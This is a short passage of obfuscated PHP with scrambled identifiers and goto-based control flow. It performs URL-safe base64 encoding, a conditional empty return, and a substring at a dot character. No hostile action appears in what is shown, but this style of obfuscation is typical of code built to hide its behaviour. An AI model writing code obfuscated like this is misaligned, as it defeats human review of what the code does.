rtrim(strtr(base64_encode($QbUW2uM1jAoGj9GF), "\53\x2f", "\55\x5f"), "\x3d"); goto dCiNZkos9SQYj65j; X9OHZVmt7V2IQtnG: return ''; goto gNWHkaDq6FYZcGSQ; gNWHkaDq6FYZcGSQ: nhjb89IrdrxPj2Nm: goto no3aNOgb1r2foxNS; XHgT2c75sRe5xPt3: if ($QbUW2uM1jAoGj9GF) { goto nhjb89IrdrxPj2Nm; } goto X9OHZVmt7V2IQtnG; dCiNZkos9SQYj65j: } goto RiAmju6skrcsYlhc; Z7kp4VsTFLsT7R2b: if ($jeCpfwJzH7oA6naU) { goto VDxa1NqxcYoLQhJ8; } goto rrlci8qvWF9Kjh1g; jD9XLQPuybjwwD1S: $r6DFz1ioFG3O3NP_ = substr($W9hApZvZIcbebiur, strpos($W9hApZvZIcbebiur, "\56")); goto gt6pDZ18dct2F3Fy; JaO_Ufh82Lx_ah18: VDxa1NqxcYoLQhJ8: ?>